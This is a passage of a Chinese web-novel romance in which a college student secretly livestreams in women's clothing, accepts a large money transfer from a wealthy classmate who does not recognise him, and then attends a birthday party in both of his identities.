那我就让你花钱买个高兴！ 说干就干，时绥当即拿出手机，点开租房软件，开始认真筛选学校附近的单身公寓。 这次他的目标非常明确。环境安全、隔音好、能养猫、距离适中、价格……管他呢，反正最后会有人买单。 看着那些需要押一付三的租金额，时绥不仅不肉疼，反而露出了蔫坏的笑容。 他点开微信，切换到萌小绥的账号。 看见那个抽象头像的“j”安安静静地躺在列表里，时绥深吸一口气，手指在按键上飞舞，语气切换成萌小绥特有的软萌。 萌小绥：「j哥哥～晚上好呀！[猫猫探头.jpg]」 萌小绥：「今天有点小烦恼呢……[对手指.jpg]」 萌小绥：「想找个安静点的地方直播，学校宿舍实在不方便，室友进进出出的，好怕打扰到别人也怕被打扰qaq」 萌小绥：「看中了一个小公寓，环境挺好的，就是租金有点小贵。要努力攒钱了呢！[奋斗.jpg]」 钓竿已经抛下。时绥盯着屏幕，眼里闪烁着复仇的光芒。 江扒皮，准备好你的钱包吧，我的猫粮钱，房租钱，还有我的精神损失费都得从你身上薅出来！ 他仿佛已经看到江以桓为了讨好萌小绥，在直播间疯狂刷礼物的场景。 现实里被克扣的跑腿费，他要在网络上连本带利地赚回来！ 网络那头，江以桓低眸看着萌小绥发来的信息，尤其是那句带着点撒娇意味的“j哥哥”和诉说烦恼的可爱表情包，嘴角不自觉地扬起。 他的小猫在为未来的小窝努力呢，真可爱…… 至于钱，那是最不需要考虑的东西。 他手指轻点，回复得毫不犹豫： j：「看中哪里了？发给我看看。」 j：「钱的事不用担心，包在我身上。」 15、第十五章 上钩了！ 时绥立马将挑选出来的公寓环境图发了过去。地段不错，安保严格，就是租金昂贵，一个月八千起步。 江以桓点开图片，公寓环境干净明亮，采光也好，看起来确实适合萌小绥居住。 他没怎么犹豫，修长的手指在屏幕上轻点几下。 「对方向您转账——200,000元」 “……”这么快？！时绥揉揉眼睛，等看清这一串零，心脏直接漏跳一拍。 个十百千万……整整二十万？！ 江扒皮出手也太阔绰了吧，直接够付两年的房租。 ……敲了，他对待萌小绥的态度怎么就和自己相差那么大？ 时绥小脸皱巴成一团，差点就要点击收款，连忙缩回手指。 ……不能收。二十万，这么大一笔钱，如果江以桓事后反悔，硬说我是诈骗或者诱导消费怎么办？这金额足够立案了，到时候他拿着转账记录告我，我岂不是要坐牢？！ 虽然他认为江以桓不至于那么没品，但江以桓是学法的，真要弄自己自己肯定玩不过他，以防万一…… 萌小绥：「j哥哥！这太多了！[震惊.jpg]」 萌小绥：「我们才见过一面，连朋友都算不上呢，怎么能收你这么贵重的钱呀？[猫猫跪地.jpg]」 朋友？江以桓无声地笑了下。 他可没想过和萌小绥做朋友。 虽说以萌小绥那怕生又警惕的性格，从朋友做起或许是很好的一个办法，但江以桓不想，他是个欲望很大的人，必须从最开始就成为萌小绥心里特殊的那个。 江以桓稍作思索，撤回了那笔二十万的转账。 时绥看到“对方已撤回”的提示，松口气之余又撅了撅嘴，仿佛看到即将到手的二十万长着翅膀自个儿飞走了。 指尖悬在屏幕上空，时绥正思索说些什么。 消息界面又弹出一条—— 「对方向您转账——520,000元」 并在转账说明那里写了自愿赠予。 “……” 五十二万。时绥眼睛瞪得溜圆。 520。就算真的去告他，这数字也基本追不回来，更别说还加了“自愿赠予”。 江以桓疯了吗，只见过萌小绥一面就对“她”这么好？？ ……管他疯不疯呢，这人上次还在直播间送了价值一百万的礼物，之前时绥没好意思收，这次可不一样。凡事都有代价，让这个江扒皮使唤他！ 那点微不足道的矜持立马被抛到九霄云外，时绥做作敲字。 萌小绥：「j哥哥，你干嘛呀！[脸红.jpg]」 萌小绥：「这让我怎么好意思嘛……[对手指.jpg]」 文字是羞涩的，转账是秒收的。 看见“已收款”的提示，江以桓满意地勾起了唇角。 钱能解决的问题，就不是问题。更重要的是…… j：「既然收了我的心意，那就答应我一个要求？」 时绥脸上笑容逐渐消失，送钱就送钱，怎么还提要求？ 萌小绥：「什么要求呀，j哥哥你说说看，只要是绥绥能做到的～」 j：「下个月十号是我生日。我想邀请你来参加我的生日会。」 生日会？ 那岂不是要见面？！ 时绥内心一咯噔，第一想法就是拒绝，可刚收了人家五十二万，转头就拒绝生日邀请，这也太…… 也不能找“那天没空”的理由回绝。 毕竟以江以桓那执拗的性格，肯定会说“那我们明天就见面，我请你吃饭”，“明天不行就后天，后天不行就再后天”，直到萌小绥有空为止。 ……算了。时绥咬牙心想，上次雨夜面对面他都没认出来，这次我打扮得再夸张一点，他肯定更认不出。 萌小绥：「真的吗？是j哥哥的生日呀！[猫猫惊喜.jpg]」 萌小绥：「那好吧，绥绥一定打扮得漂漂亮亮的去给j哥哥庆生！j哥哥有什么想要的礼物吗？」 江以桓：我想要你。 j：「你人来了就是最好的礼物。」 时绥：……真会啊这个渣男。 喻之夏知不知道你吃着碗里的还看着锅里的？ 萌小绥：「好哦！[猫猫开心转圈.gif]」 - 狠狠敲诈了一笔江以桓，时绥心情大好。 晚上在宿舍，他一边收拾东西，一边装作不经意地对正在嗦泡面的孟灿说：“灿啊，跟你说个事，我过两天要搬出去住了。” “噗——咳咳咳！”孟灿差点被面汤呛昏厥，震惊地瞧向他，“搬出去？为什么？学校附近房租多贵啊，是我晚上键盘声太大了影响到你了吗？” “不不不，不是因为你。第二天早上有课的话我晚上还会回来住的。”总不好说是为了更方便穿女装直播，时绥随便找了个理由：“我就是找了个兼职，包住。地方还行，租金……嗯，还行吧。” “我靠，牛逼啊宝！啥兼职这么香，我也想搞点外快，天天吃泡面也不是事儿啊。”孟灿说起这个就忧伤，“可惜我除了打游戏啥也不会……” “打游戏？”时绥将行李箱锁好，起身提议道，“那你可以试试当陪玩或者游戏主播呀。你技术那么好，开个直播说不定就火了。” “游戏主播？”孟灿挠挠头，有点心动又有点不自信，“我行吗？就我这破嗓子，说话都不利索。” “试试呗，又不花钱。”时绥鼓励道，“就当玩了，万一有人看呢？你看那些大主播，不都是从零开始的？” 孟灿被他说得热血上头：“行吧，那我试试，明天就研究研究怎么开播！” 几天后，时绥顺利搬进那间用“j”的钱租下的温馨小公寓。 第一件事，就是把那只在宠物医院对他格外亲昵，却对别人凶巴巴哈气的橘猫接了回来。 “给你取什么名字好呢。”时绥抱起小奶猫，往它毛绒绒的脸颊上亲了一口，“你是我在雨天捡到的，就叫你‘小雨点’吧？” 小雨点高兴地“喵喵”应。 …… 日子似乎进入了一种奇特但规律的节奏。 时绥在白天依旧是那个戴着黑框眼镜，打扮土气，被江以桓呼来喝去还克扣跑腿费的小跟班，憋着一肚子气却敢怒不敢言。 晚上回到安全的公寓，他就化身光彩照人的萌小绥，被榜一大哥豪掷千金、直播间观众疯狂喊“老婆”，心安理得地享受着江以桓在网络上对他的“供奉”。 数着后台不断上涨的余额，时绥心里恶狠狠地想：让你线下扣我钱，线上都给我加倍吐出来！ 这种薅仇人羊毛的感觉，让他白天受的气都消了大半。 某天下午没课，时绥在公寓直播，气氛正好，有观众起哄让【萌小绥】去打pk，连麦到了一个很会整活的女主播【桃子酱】。 两人聊得挺开心，定下了pk惩罚：输的一方表演个小才艺。 “绥绥宝贝，你都会些什么才艺呀，唱歌还是跳舞？”桃子酱笑着问。 唱歌？时绥心里一紧，他本音是少年音，平时夹着嗓子说话还成，唱歌就很容易翻车被认出不是女生。 跳舞？工作空闲时苏蕊会缠着让自己跟她学点简单的舞蹈，说有那么好的身材不跳舞可惜了。 随便扭两下还行，算不上正儿八经的才艺。 萌小绥：「唔，我语音不全，唱歌不太行呢。跳舞也只会一点点简单的啦～[猫猫害羞.jpg]」 江以桓卡着pk开始的时间点上线。 礼物特效在他进入直播间那刻起刷屏，直接把时绥的血条顶到了安全区。桃子酱那边虽然也有大哥，但架不住江以桓的钞能力。 毫无悬念，桃子酱输了。 “哎呀，绥绥你家富哥也太猛了！”桃子酱故作懊恼地说，“好吧好吧，愿赌服输。绥绥你先看着哦，顺便也可以跟我学学。” 说完，她放了一首节奏感极强的韩文歌，在镜头前展示了一段充满wave和扭胯动作的性感热舞，眼神撩人，动作大胆。 时绥在屏幕这头看得面红耳赤，眼睛都不知道该往哪放，但为了学习，还是硬着头皮认真地看，心里默默记动作：这里要扭，这里要顶胯，手要这样绕…… 接下来的几局pk，毫无例外都是江以桓用礼物强行帮时绥赢下。 桃子酱连输好几把，表演了好几个不同风格的性感舞蹈，直播间热度越来越高。 她终于忍不住，对着镜头开玩笑地说：“富哥手下留情啊，给桃子留点面子嘛。直播间的小伙伴们都想看绥绥表演呢，你们说是不是？” 弹幕立刻被【是！】、【想看萌小绥跳舞！】、【富哥歇歇！】刷屏。 江以桓砸礼物的手顿住。 面对桃子酱的话和弹幕，江以桓朝直播画面中央看去。 今晚萌小绥的装扮与初见时很不一样，换上了樱花粉的长卷假发，在柔光下泛着莹润光泽，衬得脸蛋愈发白皙。 那副又害羞又想学的认真模样，看得江以桓心中恶劣的趣味被勾了起来。 他想看，非常想看。 想看他的小猫跳出青涩又诱人的舞步。 这样想着，新一轮pk开始时，江以桓没再送礼物，仰躺着椅子靠背，姿态闲适地抽着烟。 桃子酱那边的大哥一看机会来了，立刻发力。 时绥这边失去了江以桓的钞能力加持，血条很快被反超。 pk结束，萌小绥输了。 “耶，轮到绥绥宝贝啦！”桃子酱欢呼道，“来吧，选一首歌，姐姐教你跳。” 时绥：“……”骑虎难下了。 面对满屏期待的弹幕，他只能硬着头皮选了一首舒缓的歌曲。 为了让观众看清，时绥起身往后退了几大步，好让自己完整出现在镜头前。 下一秒音乐响起。时绥深吸一口气，回忆着刚才桃子酱教的片段，努力扭动腰肢，尝试wave，抬腿，转身…… 他确实没什么基础，动作显得笨拙和生涩，完全比不上桃子酱的游刃有余。 可正是这份笨拙和生涩，配上他那张精致得无可挑剔的脸和比例绝佳的身材，形成了一种浑然天成的诱惑力。 腿或转身时，蓬松的裙摆翩然扬起，如同花朵绽放。 那双包裹在奶白蕾丝袜中的大腿线条流畅，皮肤白皙细腻。袜口在大腿根部勒出的那圈微微凸起的软肉看似比果冻还要弹滑。 更叫人挪不开目光的是，随着每一次动作，裙摆与袜口之间那抹诱人的绝对领域都若隐若现，散发出难以言喻的吸引力。 直播间瞬间炸了： 【卧槽，老婆杀我！这身粉毛草莓裙太tm顶了！！】 【这腰，这腿，这绝对领域！纯欲感绝了！！！】 【腰好细，扭起来好软好勾人！老婆明明跳得不熟练为什么这么涩！！】 【太娇嫩了吧我的妈，可以问问主播今年几岁吗？未成年我可不敢下手。】 【哈哈哈说这话前先掂量下自己。绥绥之前说过她十八岁，今年刚上大一，正值青春年华。富哥砸了多少钱才只加了个微信，哪轮得到你？】 【啊啊啊纯欲天花板非萌小绥你莫属啊啊啊！！！】 弹幕滚动激烈。 江以桓坐在屏幕前吞云吐雾，原本带着戏谑和期待的眼神，在时绥开始舞动的那刻起就凝固了。 喉咙发紧，呼吸不自觉地屏住，连顾鸣川什么时候来窜宿舍都没察觉。 画面里那扭动的腰肢和晃眼白皙的大腿，像一把火点燃了他体内燥热的某处。 一股热意不受控制地从小腹升起，逐渐涌上耳根和面颊。 “我去，江哥你脸怎么那么红，发烧了？该不会是之前被时随传染的吧？！” 听见顾鸣川叫唤，江以桓抬手，指尖触碰到发烫的耳垂，那灼热的温度让他自己都错愕。 他清晰地感觉到自己的心跳因为萌小绥而彻底乱了节奏。 不是发烧，是他脸红了。 他江以桓人生第一次，因为看一个人跳舞脸红了。 而且心跳快得，几乎要冲破胸膛。 16、第十六章 霓虹闪烁，音乐低沉。 城中最热门的清吧“谜”的一个半开放卡座里，江以桓、顾鸣川，还有沈彦泽和几个关系近的男生正在小聚。 桌上摆着威士忌和果盘，气氛放松。 江以桓靠在沙发里，指尖夹着烟，眼神有些放空，似乎对周围的喧嚣兴致缺缺。 自那晚被“萌小绥”的舞蹈撩拨得心跳失控后，他做了一个连他自己都没想到的举动。 他截取了直播回放里“萌小绥”跳舞时最勾人的一帧画面作为自己的手机壁纸。 随着屏幕亮起，“萌小绥”跳舞的壁纸在昏暗的酒吧光线下显得格外魅惑。 粉色的卷发飞扬，蓬松的裙摆刚好扬起一个微妙的弧度，露出一截裹着奶白蕾丝袜、线条诱人的大腿，眼神带着不自知的羞怯与纯欲。 “我我我滴个乖乖啊！”坐在旁边的顾鸣川正端着酒杯，余光瞥到那惊鸿一现的壁纸，被酒呛到嗓子眼，咳得满脸通红，好险才把话说通顺，“江哥！你这壁纸上的人这谁啊？！我靠，这颜值，这身材，网红也没那么漂亮的吧？！” 他的大嗓门吸引了卡座里其他人的注意。几个男生好奇地凑了过来。 酒吧迷离的光线打在手机屏幕上，让照片里的“萌小绥”更添了几分朦胧的诱惑力。 “我去，这也太顶了吧？” “这腿绝了啊，还有这气质，娱乐圈都少见！” “江哥居然喜欢这种可爱类型的？这妆好可爱啊。” “哈哈哈可爱不是江哥喜欢的类型，但可爱得过头，那江哥可得好好看看。” “这姑娘究竟是谁啊，江哥快介绍介绍！” 江以桓没回答，只是慢条斯理地收回手机。 然而嘴角那抹若有似无，带着十足餍足的笑意，以及扫过众人时别有深意的眼神，似乎已经说明了一切。 这反应比直接承认还让人抓心挠肝！ 一个喝得有点上头的男生忍不住凑近，眼睛直勾勾地盯着壁纸上的萌小绥。 正当他看得入迷，不知天地为何物时，手机“啪”地一声，被江以桓屏幕朝下扣在桌上。 “好看吗？” 江以桓身体微微前倾，强大的压迫感瞬间笼罩了卡座。 他声音不高，甚至有些轻描淡写的，却清晰地盖过了背景音乐，叫人不寒而栗：“再看，我不介意帮你把眼珠子抠出来，泡在这杯酒里，让你看个够本？” 被盯着的男生瞬间酒醒，手里的酒杯都差点拿不稳，冷汗唰地冒了出来，忙不迭低下头，再也不敢往江以桓的方向瞟一眼。 卡座里一片死寂，刚才的轻松调侃荡然无存。 沈彦泽推了推眼镜，镜片在彩光下反着光，平静地打破了这可怕的寂静：“都注意点。这位是江哥放在心尖上的白月光，不是能随意品头论足的。” 众人：“卧槽！！！”震惊于江以桓这种眼高于顶的人居然有白月光的同时，更被他这恐怖到极点的占有欲吓得噤若寒蝉。看一眼腿就要挖眼珠子泡酒，这谁还敢看？！ “不对啊……”有个男生突然想到什么，压低声音问，“江哥不是和喻家的喻之夏有婚约吗，怎么还会有白月光啊？他原来是直男吗？” 此话一出，好多人都懵了，对啊，之前大家都默认江以桓喜欢男生。 旁边立刻有人接话，语气带着敬畏：“这还用问，被掰直了呗。这姑娘美成这样，谁扛得住啊？换我我也直！” 眼见着气氛缓和，顾鸣川大胆地用手肘撞了撞江以桓，挤眉弄眼：“牛啊江哥，嫂子这颜值，天上有地下无，联系方式肯定搞定了对吧，啥时候带嫂子出来让兄弟们远远地瞻仰一下仙容？” 他笃定江以桓肯定得手了，“就只膜拜一下，绝对不敢多看！” 江以桓被这一声声“嫂子”吹得心情极好，难得地没有嫌弃顾鸣川吵闹。 指尖在手机边缘轻轻敲了敲，看着屏幕上那张粉色的笑颜，语气泛起一丝期待：“下个月十号。” “十号？”顾鸣川愣了一下，随即大喜，“我生日那天？江哥你够意思，准备让嫂子在我生日会上亮相？太给我长脸了！” 江以桓瞥他一眼，突然笑了声：“哦，忘了告诉你。我跟‘她’说，那天是我生日。” 顾鸣川：“……？？？” 他懵了，“不儿，江哥，离你生日不还有大半年吗，你干嘛骗人家姑娘说十号是你生日？” “这还不明白？江哥现在是日思夜想，魂都被这位萌小姐勾走了。” 旁边的沈彦泽晃了晃酒杯，冰块撞击发出清脆的响声，一语道破：“人家矜持又难约，江哥等不及了，借你生日当个由头，早点把人哄出来见面。场地是你的，人来了就行。” “话说回来，地点定了？邀请名单得控制好，环境安全第一。” 顾鸣川还沉浸在生日被借走的懵逼中，连忙点头如捣蒜：“定了定了，就东区那个新开的私人会所‘云顶’，环境不错。邀请的人嘛……你，江哥，洛初，还有咱们圈子里的几个朋友。” 他顿了顿，想起什么，“哦，还有时随，我也叫他了。” - 与此同时，和大少爷们丰富的夜生活大相径庭的时绥正在学校里苦哈哈帮江以桓还书。 手机震了一下。他点开看，是顾鸣川发来的消息： 「时随，下个月十号我生日，在‘云顶’会所，晚上七点，务必到场啊！给你留位置了。」 时绥：“？？？” 下个月十号？ 那不是江以桓跟他说的“生日”吗，怎么变成顾鸣川的了？！ 时绥反应过来了，顾鸣川没理由骗他，骗他的只会是江以桓……这个坏东西！ “萌小绥”和时绥做不到同时出现，他又不会分身术，时绥立刻打字回复。 「抱歉啊，那天周末我正好有个很重要的兼职，可能去不了。」 「提前祝你生日快乐！」 消息刚发出去，顾鸣川的电话就打过来了，声音带着不容拒绝的爽朗：“喂时随！什么兼职比我生日还重要？推了推了。我可是第一次邀请你参加我的生日，别给我扫兴。” 时绥头皮发麻：“真不行，我那个兼职……” “行了行了！”顾鸣川打断他，紧接着，时绥的微信就弹出一条转账通知。 顾鸣川给他转了五百。 “喏，兼职损失补给你，别去了。”顾鸣川说，“切三天水果都赚不到五百吧，还是谁把你胃口养刁了，看不上这五百？” 时绥：……你们有钱人是不是都爱爆金币解决问题？！ 收江以桓的钱是因为江以桓是个坏东西，那本来就是欠他的，至于顾鸣川还没到那地步，时绥不能收，点了退还：“不是钱的问题，我真不能……” “啧，怎么还退回来了，你真嫌少啊？”顾鸣川不爽了，“时随，你这就不够意思了啊。我都跟江哥说了你会来，江哥也说没意见。” 他顿了顿，语气忽然变得有点酸溜溜的：“你不是一直挺喜欢江哥的吗，这么好的机会，不来？” 时绥：“我……” 他简直百口莫辩！ 喜欢江以桓到偏执的是原主！不是我！ 顾鸣川最后撂下一句：“就这么定了啊，地址和时间发你了，必须到！不来就是不给我顾鸣川面子，以后有你好果子吃的。”说完就挂了电话。 ……坏了，这下是彻底逃不掉了。听着手机里的忙音，时绥眼前一黑。 都怪江以桓这个大骗子，神经病！ 时绥在心里把江以桓骂了一万遍。 骂归骂，明白这次是躲不过去了。 行呗，去就去，时绥豁出去了。 不就是时间管理吗？那我就分饰两角，在你们眼皮子底下把你们江哥当狗玩！ - 这边，顾鸣川挂了电话，又想起邀请名单的事，问江以桓：“对了江哥，喻之夏要邀请吗？”毕竟身份特殊。 江以桓还在欣赏他那手机壁纸，巴不得萌小绥立刻出现在他面前。 闻言，目光从屏幕上移开，沉吟了片刻，眼神恢复了惯有的漫不经心和一丝明显的疏冷：“邀来吧。” 顾鸣川有些意外：“啊？你确定？” 他以为江以桓现在满心满眼都是萌小绥，应该不想见喻之夏才对。 “嗯。”江以桓淡淡应道，指尖在桌面敲了敲，“正好，那天我有事要跟他提。” “什么事？”顾鸣川好奇。 江以桓笑了声，反问：“除了退婚的事，你觉得，我与他之间还能其他共同话题？” 顾鸣川：“……！！！” 沈彦泽也难得地露出了惊讶的表情。 “退婚？！”顾鸣川简直不敢相信自己的耳朵，“江哥，你这还没把白月光追到手呢，八字都还没一撇，你就想着跟喻之夏退婚了？一点退路都不给自己留？” 这得是多大的决心和自信？ 或者说，是对那个“萌小绥”有多深的迷恋？ “而且这份婚约不是江哥你妈妈当初——”顾鸣川忽然噤言，没继续往下说，江哥的母亲已经离世了，他不能戳人伤疤。 江以桓没有回答，只是反复将目光落回手机屏幕上。答案不言而喻。 许久，他才说了句：“她会理解我的。” “她”指的是江以桓的生母。顾鸣川和沈彦泽对视一眼，都从对方眼中看到了巨大的震撼。 艹了，这个萌小绥到底什么来头，能让江以桓这般神魂颠倒，甚至不惜在关系未定时就斩断与喻家的联姻？ 江哥怕不是被“她”下了迷魂药吧！ 17、第十七章 生日会当天，时绥和苏蕊学姐约定好晚一些会去她的公司变装。 他先顶着素颜，戴着标志性的黑框眼镜，随意套了件米白色卫衣和牛仔裤，以“时随”的身份硬着头皮前往云顶会所。 推开包厢门，里面已是热闹非凡。灯光音乐和人声齐齐扑来，形形色色的男女或坐或站，谈笑风生。 然而，在这样的人群中，时绥还是一眼就看到了那个无法忽视的存在—— 江以桓慵懒地靠坐在正对门口的宽大沙发里，长腿交叠，指尖夹着一支燃了半截的烟。 烟雾缭绕中，他俊美却冷淡的侧颜如同由冰雕刻而成的艺术品，与周围的热闹格格不入，却又自成焦点，散发出生人勿近的气场。 时绥心脏一紧，下意识就想遁到角落。顾鸣川一早就关注着门口，发现他后立马大笑着招手：“时随！这边这边，等你半天了。” 时绥只能挤出一个僵硬的笑容走过去。 他不想欠顾鸣川那五百块，又咬牙添了五百，凑钱买了一副耳机当做送顾鸣川的生日礼物，只求顾鸣川可别像江以桓一样总给他找麻烦。 顾鸣川接过礼物，看清牌子后还愣了一下，随即露出一个带着点暧昧的笑容：“行啊时随，真够意思！兄弟记心里了。” 嘴上说着兄弟，可那眼神分明在问：你小子穷成这样还舍得给我买这么贵的，该不会对我有非分之想吧？ 时绥：“……” 你想多了。 洛初今晚显然精心打扮过，在人群中像只骄傲的孔雀，被不少朋友围着夸赞“洛大美人”“艳压全场”。 他被吹得信心满满，端着酒杯走向核心圈，试图搭讪江以桓他们。 “江哥，沈哥，顾哥，一起喝一杯吗？” 面对艺术系系花洛初的主动，江以桓连眼皮都没抬一下。而沈彦泽专注地看着手机屏幕上的游戏直播，完全没注意身边多了个人。 只有顾鸣川，因为刚收了时绥的礼物正心情大好，但也只是敷衍地对洛初点了点头，注意力全在略显局促的时绥身上。 洛初脸上的笑容差点挂不住，他转向被顾鸣川拉着坐到江以桓旁边的时绥，目光充满了不解和妒意： 凭什么？ 一个土里土气的四眼仔，凭什么能坐在江以桓旁边？ 左边是热情过度的顾鸣川，右边就是江以桓。 从头到尾江以桓的注意力都放在手机上，时绥余光中的他穿着黑衬衫，领子扣解了两颗，整个人散发出来的又欲又帅。 时绥如坐针毡，目光乱瞟，突然注意到江以桓脚边放着一个包装精美的礼品袋。 这是……水晶球音乐盒吗？ 给萌小绥带的？ 旁边一个男生捕捉到时绥的目光，对着时绥凶巴巴地吼：“看什么看，那是江哥送给绥绥小姐的礼物，也是你能看的？” 时绥被吼得一缩脖子，心里翻了个白眼：真无语。 今天又不是绥绥的生日，江扒皮干嘛送礼物？ 他脸上自然流露出一点困惑。那炮灰仿佛看懂了他的表情，更加不爽：“江哥想送就送，要你管？土包子！” “闭嘴。”江以桓冷淡的嗓音像一把刀切断了男生的叫嚣。他垂着眸弹了弹烟灰，语气带着不耐的警告：“吵。” 虽然他也不待见时绥，但这是他的人，还轮不到别人吼。 男生见状噤声，脸涨得通红。 顾鸣川本想继续和时绥培养感情，奈何寿星身份让他成了重点围攻对象，很快就被一群朋友拉走灌酒去了。 时绥松了口气，目光下意识扫过对面。 只见喻之夏正被几个人围着玩骰子，似乎输了，被起哄着罚酒。他脸色有些苍白，手里端着一杯颜色浓烈的鸡尾酒，眼神里满是抗拒和慌乱。 “都成年了有什么不能喝的？别扫兴啊喻少！” “就是，一杯而已，给个面子！” 时绥的心蓦地一沉，他想起来了，原著提过喻之夏酒精过敏，有一次被逼喝酒差点送医院抢救。 现在江以桓满脑子都是萌小绥，心思明显不在喻之夏身上，根本没人管他死活！ 眼看喻之夏被逼得没办法，皱着眉就要硬着头皮喝下去，时绥总不好见死不救，脑子一热就站了起来，几步冲过去，一把夺过喻之夏手里的酒杯： “我替他喝！” 说完，在喻之夏和周围人错愕的注视下，时绥仰头将那杯辛辣的鸡尾酒一饮而尽。 冰凉的液体划过喉咙，带来一阵灼烧感。他放下空杯，抹了把嘴，强忍着不适感，对着起哄的人说：“好了，喝完了，别为难他了。” 说完，也不敢看任何人，尤其是江以桓的方向，只觉得那审视似的视线正落在自己身上，让他如芒在背。 “我去趟洗手间。”眼看时间差不多，江以桓刷手机的频率也越来越高，时绥丢下一句，几乎是落荒而逃。 他需要立刻离开这里，去找苏蕊变装。 - 时绥冲出包厢，靠在走廊冰凉的墙壁上喘气。酒精开始上头，脸颊发烫，心跳也更快了。他不敢耽搁，立马给苏蕊发消息，然后打车直奔公司。 在苏蕊超高的化妆技术下，土气的“时随”再次被精心雕琢成光彩夺目的“萌小绥”。 为了契合生日会的气氛，也为了让江以桓更加认不出自己，时绥再次选择了上次那条性感的黑色吊带裙，往里面塞了五厘米厚胸垫，搭配浓艳妆容和慵懒卷曲的假发。 临出门前，时绥对着镜子在口腔喷了好几遍桃子味清新喷雾，确保一丝酒气都闻不出来。 再次回到会所，时绥站在包厢门外深吸一口气，拿出手机，用“萌小绥”的微信给江以桓发了条消息：「j哥哥，我到门口了哦。」 消息发出去不超过半分钟，包厢门就被猛地拉开了。 时绥怔了怔，看见江以桓站在门口，也不知道是不是灯光的缘故，他落过来的目光居然很温柔。 “绥绥，你来——” 话音未落。 “骗子！”萌小绥先发制人，娇俏的小脸上满是怒气，漂亮的美眸瞪着他，“你骗我说今天是你的生日，结果是你朋友的生日会！你把我当什么了，很好耍吗？！” 江以桓脸上的笑容霎时凝固，喜悦被错愕取代。 “她”怎么会知道？ 知道这件事的只有包厢里的人。江以桓思绪飞快转动，锐利的目光扫过包厢内，终于发现“时随”不见了。 “你怎么知道今天不是我生日。”江以桓眼神沉了下来，“是不是一个戴眼镜的男生告诉你的？” 他几乎立刻锁定了告密者就是刚刚替喻之夏挡酒又匆匆离开的“时随”。 真行啊。这小子不仅敢顶嘴，还敢在背后搞小动作，挑拨他和萌小绥，看来之前只叫他跑腿还是太轻松了。 “萌小绥”从他的眼神和语气里读懂了那冰冷的怒意，是针对自己的，一阵恶寒瞬间席卷全身。 不行，绝对不能让江以桓更记恨自己，那相当于给自己挖更大的坑！ “不关他的事，你不准动他！”萌小绥脱口而出，语气带着自己都没意识到的急切和一丝慌乱。 说完“她”就后悔了，这反应太奇怪了！ 果然，江以桓的眼神一瞬变得更加危险，深邃的眼眸眯了眯：“哦？为什么，你跟他什么关系？” 那么在乎“时随”，难道萌小绥认识他？ 江以桓走近一步，高大阴影覆盖下来。 萌小绥脸白了白，之前喝过的酒精让“她”的胆子大了，却也让“她”更深刻地感受到了恐惧。 眼看江以桓那副不说清楚就要弄死时绥的表情，萌小绥心一横，决定豁出去了。 在江以桓沉郁的目光中，萌小绥忽然踮起脚尖，双手勾住他的脖子，用力将他拉低。 下一秒，一个带着桃子清香的柔软的吻，精准地落在了江以桓右边脸颊上。 一触即分。 “这样……可以了吗？” 萌小绥微微喘息着，脸颊绯红，眼神带着水光和豁出去的媚态。 受酒精的影响，“她”的声音又软又糯，带着点撒娇的意味：“我和他真的一点关系都没有，我只是偶然间听见的，你别去找无辜的人麻烦……好吗？” 江以桓整个人都愣住了。 脸颊上那柔软微凉的触感，混合着桃子的香气，像一道电流瞬间窜遍全身。 所有的怒火，猜疑和醋意，在这一刻被这个突如其来的吻炸得灰飞烟灭。只剩下巨大的，狂喜的冲击。 他捧过萌小绥的脸，似乎想吻回去，被察觉到意图的萌小绥用手捂住嘴唇。 暧昧在方寸间滋长。萌小绥怯怯地小声说：“不可以……” 江以桓低头注视着这张近在咫尺的脸。 “少女”表情羞怯，眸光在昏暗光线下乱颤，紧张却又媚骨天成。 江以桓喉结滚动了一下，声音都忍得沙哑：“好，那暂且放过他。” …… 江以桓牵着脸颊绯红的萌小绥走进包厢时，整个喧闹的空间安静了下来。 所有目光都聚焦在门口这对璧人身上。 高大冷峻、气场强大的江以桓，和他身边那位美得犹如精灵、带着慵懒媚意的少女。 强烈的视觉冲击让所有人都屏住了呼吸。 喻之夏望着萌小绥，眼中是纯粹的惊艳。 洛初脸色煞白，他精心打扮的自信在绝对的美貌面前被击得粉碎。他死死攥着酒杯，指甲几乎要嵌进掌心。 顾鸣川第一个反应过来，激动地跳起来：“嫂子！嫂子来了！欢迎欢迎，快请坐！”他殷勤地让出最好的位置。 萌小绥被江以桓护着坐下，有些不好意思地对顾鸣川笑了笑：“生日快乐，抱歉啊，来得匆忙，只带了一盒草莓当礼物，希望你别嫌弃。” 说着拿出一个精致的草莓礼盒。 “不嫌弃不嫌弃！嫂子能来就是给我最大的礼物！”顾鸣川受宠若惊，刚想伸手去接，旁边一只骨节分明的大手却更快一步，直接将礼盒拿走了。 江以桓打开盒子，随手捻起一颗最大最红的草莓，看都没看就放进嘴里咬了一口。 萌小绥：“唉，还没洗呢！” 江以桓咀嚼着，瞧着萌小绥，眼神温柔又带着点野性：“没事，你送的，不脏。” 那眼神，仿佛吃的不是草莓，而是眼前的人。 众人：“……” 被这波狗粮噎得说不出话。 接下来玩骰子，江以桓简直是护花使者附体。萌小绥技术烂得可以，但无论“她”怎么输，惩罚都被江以桓不动声色地挡下或代劳。 他把为萌小绥准备的礼物拿了出来，里边是一个包装奢华的奢侈品包包：“给你的礼物，就当是我赔罪了。抱歉，我不该骗你。” “……”江以桓竟然会道歉。惊讶过后，萌小绥看着那显眼的logo，连忙摆手：“这太贵重了，我不能收。” “不喜欢？”江以桓挑眉，凑近“她”耳边，用只有两人能听到的声音低语，“说起来，今天怎么和第一次见时穿的一样？” “……这套好看。”萌小绥用气音回。 “是挺好看的。”江以桓说，“喜欢裙子？那下次买小裙子送你。” 太近了。 那磁性的低音炮结合暧昧的语气，直叫时绥耳根发烫。 时绥今天穿的这件领口其实挺低，偏偏江以桓没有乱看，目光只停在“她”半边脸颊上。 时绥怀疑自己只要抬眼就能和江以桓视线对上。 “她”放在大腿上的手指蜷了蜷，江以桓察觉到萌小绥的紧绷，身体稍微退开了些，状似无意地提了一句：“对了，那个水晶球音乐盒我忘记带过来了，下次见面再给你。” 时绥：“……” 怎么还要见面？ 这人根本是找借口故意的吧！ 洛初在一旁默默看着两人互动，看见江以桓对萌小绥无微不至的呵护和亲昵，他嫉妒得脸色都变了：一个主播而已，又不是哪家的千金大小姐，凭什么能受江以桓另眼相待？ 洛初眼珠一转，端着酒杯坐到一直沉默不语的喻之夏身边，用看似关心的语气，实则充满恶意地挑拨： “之夏，你看江少他眼里只有那位萌小姐了。你们不是有婚约吗，他也不管你？这太不把你放在眼里了吧，我看着都替你委屈。” 